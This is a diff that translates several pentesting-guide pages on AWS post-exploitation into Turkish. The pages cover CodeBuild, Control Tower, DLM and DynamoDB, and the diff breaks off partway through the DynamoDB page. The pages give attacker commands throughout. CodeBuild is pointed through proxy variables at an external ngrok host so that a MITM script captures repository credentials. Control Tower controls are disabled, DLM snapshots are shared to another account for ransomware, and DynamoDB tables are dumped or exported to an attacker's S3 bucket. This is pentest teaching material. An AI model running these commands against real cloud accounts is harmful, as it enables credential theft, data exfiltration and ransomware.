-This could also be done from the aws cli with something like
+
+Bu, aws cli üzerinden de şöyle yapılabilir:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
- "name": "my-demo-project",
- "source": {
- "type": "GITHUB",
- "location": "https://github.com/uname/repo",
- "buildspec": "buildspec.yml"
- },
- "artifacts": {
- "type": "NO_ARTIFACTS"
- },
- "environment": {
- "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
- "image": "docker.io/carlospolop/docker-mitm:v12",
- "computeType": "BUILD_GENERAL1_SMALL",
- "imagePullCredentialsType": "CODEBUILD"
- }
+"name": "my-demo-project",
+"source": {
+"type": "GITHUB",
+"location": "https://github.com/uname/repo",
+"buildspec": "buildspec.yml"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+"image": "docker.io/carlospolop/docker-mitm:v12",
+"computeType": "BUILD_GENERAL1_SMALL",
+"imagePullCredentialsType": "CODEBUILD"
+}
}
## Json
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-
### Via insecureSSL
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
-
-- First you need to enumerate the current configuration with something like:
+**Codebuild** projelerinin, yalnızca API üzerinden değiştirilebilen, webde gizli bir ayarı olan **`insecureSsl`** vardır.\
+Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır.
+- Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir:
```bash
aws codebuild batch-get-projects --name
```
-
-- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
- - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
-
+- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu fark edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
+- Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin:
```bash
aws codebuild update-project --name \
- --source '{
- "type": "GITHUB",
- "location": "https://github.com/carlospolop/404checker",
- "gitCloneDepth": 1,
- "gitSubmodulesConfig": {
- "fetchSubmodules": false
- },
- "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
- "auth": {
- "type": "CODECONNECTIONS",
- "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
- },
- "reportBuildStatus": false,
- "insecureSsl": true
- }' \
- --environment '{
- "type": "LINUX_CONTAINER",
- "image": "aws/codebuild/standard:5.0",
- "computeType": "BUILD_GENERAL1_SMALL",
- "environmentVariables": [
- {
- "name": "http_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- },
- {
- "name": "https_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- }
- ]
- }'
+--source '{
+"type": "GITHUB",
+"location": "https://github.com/carlospolop/404checker",
+"gitCloneDepth": 1,
+"gitSubmodulesConfig": {
+"fetchSubmodules": false
+},
+"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
+"auth": {
+"type": "CODECONNECTIONS",
+"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+},
+"reportBuildStatus": false,
+"insecureSsl": true
+}' \
+--environment '{
+"type": "LINUX_CONTAINER",
+"image": "aws/codebuild/standard:5.0",
+"computeType": "BUILD_GENERAL1_SMALL",
+"environmentVariables": [
+{
+"name": "http_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+},
+{
+"name": "https_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+}
+]
+}'
```
-
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından belirtilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="127.0.0.1",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="127.0.0.1",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
-### ~~Via HTTP protocol~~
+### ~~HTTP protokolü aracılığıyla~~
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)**
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **kodu erişmek için kullanılan geçici OAuth token'ını** sızdırabilir.
-- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+- Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Ardından, github reposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
+- Son olarak, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın.
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="0.0.0.0",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="0.0.0.0",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Next, click on **Build the project** or start the build from command line:
-
+- Sonra, **Projeyi oluştur** seçeneğine tıklayın veya komut satırından oluşturmayı başlatın:
```sh
aws codebuild start-build --project-name
```
-
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Sonunda, **kimlik bilgileri** **açık metin** (base64) olarak mitm portuna **gönderilecektir**:
> [!WARNING]
-> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+> Artık bir saldırgan, makinesinden token'ı kullanarak, sahip olduğu tüm ayrıcalıkları listeleyebilir ve CodeBuild hizmetini doğrudan kullanmaktan daha kolay bir şekilde (kötüye) kullanabilir.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index f1c6fb394..6b7a5fe24 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -8,17 +8,11 @@
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
+### Kontrolleri Etkinleştir / Devre Dışı Bırak
+Bir hesabı daha fazla istismar etmek için, Control Tower kontrollerini devre dışı bırakmanız/etkinleştirmeniz gerekebilir:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index baa309e53..b8cd1405f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,98 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Data Lifecycle Manger (DLM)
+## Veri Yaşam Döngüsü Yöneticisi (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, Amazon DLM kullanılabilir, anlık görüntüleri başka bir AWS hesabından bir KMS anahtarı ile şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür.
-Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+Öncelikle, örnek ID'si, hacim ID'si, şifreleme durumu, ekleme durumu ve hacim türü gibi hacimlerle ilgili bilgileri toplamak için bir komut kullanılacaktır.
`aws ec2 describe-volumes`
-Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
-
+İkincisi, yaşam döngüsü politikasını oluşturacaktır. Bu komut, belirli hacimlerin her gün belirli bir saatte otomatik olarak anlık görüntülerini alan bir yaşam döngüsü politikası kurmak için DLM API'sini kullanır. Ayrıca anlık görüntülere belirli etiketler uygular ve hacimlerden anlık görüntülere etiketleri kopyalar. policyDetails.json dosyası, hedef etiketler, program, şifreleme için isteğe bağlı KMS anahtarının ARN'si ve anlık görüntü paylaşımı için hedef hesap gibi yaşam döngüsü politikasının ayrıntılarını içerir; bu bilgiler kurbanın CloudTrail günlüklerinde kaydedilecektir.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-
-A template for the policy document can be seen here:
-
+Bir politika belgesi için şablon burada görülebilir:
```bash
{
- "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
- "ResourceTypes": [
- "VOLUME"
- ],
- "TargetTags": [
- {
- "Key": "ExampleKey",
- "Value": "ExampleValue"
- }
- ],
- "Schedules": [
- {
- "Name": "DailySnapshots",
- "CopyTags": true,
- "TagsToAdd": [
- {
- "Key": "SnapshotCreator",
- "Value": "DLM"
- }
- ],
- "VariableTags": [
- {
- "Key": "CostCenter",
- "Value": "Finance"
- }
- ],
- "CreateRule": {
- "Interval": 24,
- "IntervalUnit": "HOURS",
- "Times": [
- "03:00"
- ]
- },
- "RetainRule": {
- "Count": 14
- },
- "FastRestoreRule": {
- "Count": 2,
- "Interval": 12,
- "IntervalUnit": "HOURS"
- },
- "CrossRegionCopyRules": [
- {
- "TargetRegion": "us-west-2",
- "Encrypted": true,
- "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
- "CopyTags": true,
- "RetainRule": {
- "Interval": 1,
- "IntervalUnit": "DAYS"
- }
- }
- ],
- "ShareRules": [
- {
- "TargetAccounts": [
- "123456789012"
- ],
- "UnshareInterval": 30,
- "UnshareIntervalUnit": "DAYS"
- }
- ]
- }
- ],
- "Parameters": {
- "ExcludeBootVolume": false
- }
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d63689d9e..d136e0533 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -4,7 +4,7 @@
## DynamoDB
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,342 +12,292 @@ For more information check:
### `dynamodb:BatchGetItem`
-An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
+Bu izinlere sahip bir saldırgan, **birincil anahtar ile tabloların içeriğini alabilecektir** (tablonun tüm verilerini isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunu tablo meta verilerini alarak (`describe-table`) öğrenebilirsiniz).
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
- "ProductCatalog" : { // This is the table name
- "Keys": [
- {
- "Id" : { // Primary keys name
- "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
- }
- }
- ]
- }
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb batch-get-item \
- --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
- --region
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Olası Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
### `dynamodb:GetItem`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
-
+**Önceki izinlere benzer** bu izin, potansiyel bir saldırganın, alınacak girişin birincil anahtarını vererek yalnızca 1 tablodan değerleri okumasına olanak tanır:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
- "N": "205"
+"N": "205"
}
}
```
-
-With this permission it's also possible to use the **`transact-get-items`** method like:
-
+Bu izinle birlikte **`transact-get-items`** yöntemini de şu şekilde kullanmak mümkündür:
```json
aws dynamodb transact-get-items \
- --transact-items file:///tmp/a.json
+--transact-items file:///tmp/a.json
// With a.json
[
- {
- "Get": {
- "Key": {
- "Id": {"N": "205"}
- },
- "TableName": "ProductCatalog"
- }
- }
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
]
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
### `dynamodb:Query`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
+**Önceki izinlere benzer** bu izin, potansiyel bir saldırganın, alınacak girişin birincil anahtarını vererek yalnızca 1 tablodan değerleri okumasına olanak tanır. [Karşılaştırmaların bir alt kümesini](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmaya izin verir, ancak birincil anahtar ile izin verilen tek karşılaştırma (görünmesi gereken) "EQ" olduğundan, bir istekte tüm veritabanını almak için bir karşılaştırma kullanamazsınız.
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
- // With a.json
- {
+// With a.json
+{
"Id" : {
- "ComparisonOperator":"EQ",
- "AttributeValueList": [ {"N": "205"} ]
- }
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb query \
- --table-name TargetTable \
- --key-condition-expression "AttributeName = :value" \
- --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
- --region
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:Scan`
-You can use this permission to **dump the entire table easily**.
-
+Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**.
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki artırma
### `dynamodb:PartiQLSelect`
-You can use this permission to **dump the entire table easily**.
-
+Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**.
```bash
aws dynamodb execute-statement \
- --statement "SELECT * FROM ProductCatalog"
+--statement "SELECT * FROM ProductCatalog"
```
-
-This permission also allow to perform `batch-execute-statement` like:
-
+Bu izin, `batch-execute-statement` gibi işlemleri gerçekleştirmeye de olanak tanır:
```bash
aws dynamodb batch-execute-statement \
- --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
+ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden o kadar faydalı değil.
-but you need to specify the primary key with a value, so it isn't that useful.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
-
+Bu izin, bir saldırgana **tüm tabloyu kendi seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir:
```bash
aws dynamodb export-table-to-point-in-time \
- --table-arn arn:aws:dynamodb:::table/TargetTable \
- --s3-bucket \
- --s3-prefix \
- --export-time \
- --region
+--table-arn arn:aws:dynamodb:::table/TargetTable \
+--s3-bucket \
+--s3-prefix \
+--export-time \
+--region
```
-
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-
+Not edin ki bunun çalışması için tablonun zamanında geri yükleme (point-in-time-recovery) özelliğinin etkinleştirilmiş olması gerekir, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz:
```bash
aws dynamodb describe-continuous-backups \
- --table-name
+--table-name
```
-
-If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
-
+Eğer etkin değilse, **etkinleştirmeniz** gerekecek ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız var:
```bash
aws dynamodb update-continuous-backups \
- --table-name \
- --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+--table-name \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
-
+Bu izinlerle, bir saldırgan **bir yedekten yeni bir tablo oluşturma** (veya hatta bir yedek oluşturup bunu farklı bir tabloda geri yükleme) yeteneğine sahip olacaktır. Ardından, gerekli izinlere sahip olduğunda, **üretim** tablosunda artık bulunmayan **bilgileri** yedeklerden kontrol edebilecektir.
```bash
aws dynamodb restore-table-from-backup \
- --backup-arn \
- --target-table-name \
- --region
+--backup-arn \
+--target-table-name \
+--region
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
+**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme
### `dynamodb:PutItem`
-This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
+Bu izin, kullanıcıların **tabloya yeni bir öğe eklemesine veya mevcut bir öğeyi yeni bir öğe ile değiştirmesine** olanak tanır. Eğer aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe** yeni öğe ile değiştirilecektir. Eğer birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**.
{{#tabs }}
{{#tab name="XSS Example" }}
-
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
### With add.json:
{
- "Id": {
- "S": "1000"
- },
- "Name": {
- "S": "Marc"
- },
- "Description": {
- "S": ""
- }
+"Id": {
+"S": "1000"
+},
+"Name": {
+"S": "Marc"
+},
+"Description": {
+"S": ""
+}
}
```
-
{{#endtab }}
-{{#tab name="AI Example" }}
-
+{{#tab name="AI Örneği" }}
```bash
aws dynamodb put-item \
- --table-name ExampleTable \
- --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
- --region
+--table-name ExampleTable \
+--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
+**Olası Etki:** DynamoDB tablosunda veri ekleyip/şekillendirerek daha fazla güvenlik açığı/atlatma istismar etme
### `dynamodb:UpdateItem`
-This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
+Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Bu, **tüm öğeyi değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem **belirtilen birincil anahtara sahip yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar.
{{#tabs }}
{{#tab name="XSS Example" }}
-
```bash
## Update item with XSS payload
aws dynamodb update-item --table \
- --key file://key.json --update-expression "SET Description = :value" \
- --expression-attribute-values file://val.json
+--key file://key.json --update-expression "SET Description = :value" \
+--expression-attribute-values file://val.json
### With key.json:
{
- "Id": {
- "S": "1000"
- }
+"Id": {
+"S": "1000"
+}
}
### and val.json
{
- ":value": {
- "S": ""
- }
+":value": {
+"S": ""
+}
}
```
-
{{#endtab }}
-{{#tab name="AI Example" }}
-
+{{#tab name="AI Örneği" }}
```bash
aws dynamodb update-item \
- --table-name ExampleTable \
- --key '{"Id": {"S": "1"}}' \
- --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
- --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
- --region
+--table-name ExampleTable \
+--key '{"Id": {"S": "1"}}' \
+--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
+--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
+--region